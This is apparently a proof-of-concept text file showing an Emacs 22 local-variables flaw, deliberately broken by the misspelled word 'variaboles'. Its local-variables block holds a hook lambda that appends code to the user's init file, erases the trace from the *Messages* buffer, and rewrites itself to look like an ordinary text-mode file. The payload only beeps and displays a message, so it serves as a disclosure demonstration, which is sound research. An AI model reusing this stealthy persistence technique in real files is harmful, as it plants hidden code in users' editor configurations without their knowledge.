This is a harmless text file.  Or at least it looks like one.  In
fact, it is.  But it's almost not.  If you were to change the word
"variaboles" below to "variables", then load it into a vulnerable
Emacs 22 with `enable-local-variables' set to :safe, it would rewrite
the local variables list in the buffer itself to _look_ like a
harmless text file, while in fact managing to add some evil code to
the end of your user-init-file.  Woopsy.

| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End: